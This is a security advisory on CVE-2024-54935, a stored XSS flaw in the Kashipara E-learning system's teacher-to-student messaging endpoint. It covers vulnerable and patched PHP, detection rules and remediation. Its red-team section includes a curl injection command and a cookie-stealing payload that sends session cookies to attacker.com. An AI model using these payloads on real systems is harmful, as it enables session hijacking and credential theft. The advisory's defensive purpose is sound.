CVE-2024-54935

Executive Summary

CVE-2024-54935 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Kashipara E-learning Management System v1.0. The flaw resides in the /send_message_teacher_to_student.php endpoint, where the my_message parameter is insufficiently sanitized. An attacker can inject arbitrary JavaScript code that is stored on the server and executed in the browser of any user viewing the affected message. This allows for session hijacking, credential theft, and defacement. The vulnerability has a CVSS v3.1 base score of 6.1 (Medium), with a public proof-of-concept available. No official patch has been released by the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must view the message)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low (potential data exfiltration)
• Integrity Impact: Low (content modification)
• Availability Impact: None

The threat level is elevated due to the lack of authentication required to trigger the stored payload and the public availability of exploit details. The EPSS score of 0.0% indicates low exploitation likelihood in the wild, but this may change as awareness increases.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (CWE-79). The application fails to validate or encode user input in the my_message parameter before storing it in the database. When a teacher or student views the message, the stored payload is rendered in the browser without proper escaping.

Attack Flow:

1. Attacker sends a POST request to /send_message_teacher_to_student.php with a malicious payload in the my_message parameter.
2. The server stores the payload in the database.
3. A victim (teacher or student) navigates to the message view page.
4. The payload executes in the victim's browser, allowing the attacker to steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Root Cause: Lack of output encoding and input validation on the my_message parameter.

Vulnerable vs. Patched Code

Vulnerable Code (Kashipara E-learning Management System v1.0):

// send_message_teacher_to_student.php (simplified)
$message = $_POST['my_message'];
$sql = "INSERT INTO messages (sender, receiver, message) VALUES ('$sender', '$receiver', '$message')";
mysqli_query($conn, $sql);
// Later, when displaying:
echo "<div>" . $row['message'] . "</div>";

Patched Code (Recommended):

// Patched version
$message = htmlspecialchars($_POST['my_message'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO messages (sender, receiver, message) VALUES (?, ?, ?)";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "sss", $sender, $receiver, $message);
mysqli_stmt_execute($stmt);
// When displaying:
echo "<div>" . htmlspecialchars($row['message'], ENT_QUOTES, 'UTF-8') . "</div>";

The patched code uses prepared statements to prevent SQL injection and htmlspecialchars() to neutralize XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Kashipara E-learning Management System v1.0 running on a local or remote server.
• Access to the /send_message_teacher_to_student.php endpoint.

Exploit Payload:

<script>alert('XSS')</script>

Step-by-Step:

1. Intercept a POST request to /send_message_teacher_to_student.php using Burp Suite or cURL.
2. Modify the my_message parameter to include the payload.
3. Send the request.
4. Log in as a teacher or student and navigate to the message inbox.
5. Observe the JavaScript execution.

Advanced Payload (Cookie Stealing):

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

cURL Example:

curl -X POST http://target.com/send_message_teacher_to_student.php \
  -d "sender=1&receiver=2&my_message=<script>alert('XSS')</script>"

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for unusual POST requests to /send_message_teacher_to_student.php containing <script> tags.
• Use WAF rules to block common XSS patterns.

Hardening:

• Apply input validation and output encoding as shown in the patched code.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use prepared statements for all database queries.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /send_message_teacher_to_student.php with my_message containing <script> tags.
  • Outbound connections to attacker-controlled domains (e.g., attacker.com).
• File System:
  • Modified database entries in the messages table containing JavaScript payloads.
• Logs:
  • Web server access logs showing repeated POST requests to the vulnerable endpoint.

Detection Engineering

YARA Rule

rule Detect_XSS_Payload_in_Message
{
    meta:
        description = "Detects stored XSS payloads in Kashipara E-learning messages"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54935"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Kashipara E-learning Management System
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2024-54935
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/send_message_teacher_to_student.php'
        cs-request-body|contains: 
            - '<script'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in messages (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-54935 Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/send_message_teacher_to_student.php"; http_uri; content:"my_message"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the vulnerable system if it is internet-facing.
2. Apply input validation and output encoding to the my_message parameter.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.

Long-Term Fix:

• Upgrade to a patched version of the E-learning Management System (if available).
• Conduct a full security audit of the application.
• Train developers on secure coding practices (OWASP Top 10).

Workaround:

• Disable the messaging feature temporarily by removing or restricting access to /send_message_teacher_to_student.php.

Valters IT
Securing Digital Ecosystems